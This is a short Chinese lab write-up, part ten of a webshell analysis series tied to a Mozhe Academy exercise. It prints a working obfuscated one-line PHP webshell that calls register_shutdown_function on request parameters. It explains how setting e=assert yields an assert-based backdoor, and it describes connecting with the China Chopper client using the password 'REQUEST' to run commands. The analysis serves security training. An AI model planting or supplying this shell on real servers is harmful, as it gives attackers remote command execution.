WebShell代码分析溯源(十)
WebShell代码分析溯源(十)
一、一句话变形马样本
<?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['REQUEST']);?>
二、代码分析
1、调整代码格式
2、分析代码
1、首先使用REQUEST方法接收url中e参数的值,然后使用register_shutdown_function函数, 其实这就是一个回调函数,在上面的代码运行结束后,再去执行。
注: register_shutdown_function()函数是来注册一个会在PHP中止时执行的函数
参考: https://www.php.net/manual/zh/function.register-shutdown-function.php
https://www.jianshu.com/p/2bbbbeca62c8
2、先执行$e = $_REQUEST['e'],再执行$_REQUEST['REQUEST'],此时构造e=assert, 把$_REQUEST['REQUEST']作为参数回调给$e,就构造出一句话木马<?php assert($_REQUEST[‘REQUEST’]);?>
3、此时就可以使用菜刀连接,密码REQUEST
三、漏洞环境搭建
1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第9题)),地址: https://www.mozhe.cn/bug/detail/UTRuVFZxaWxzVE9PUGthdlYyd0E3dz09bW96aGUmozhe
2、代码环境,下载代码
3、分析(上面已经分析过了)
4、使用菜刀连接
5、执行一些命令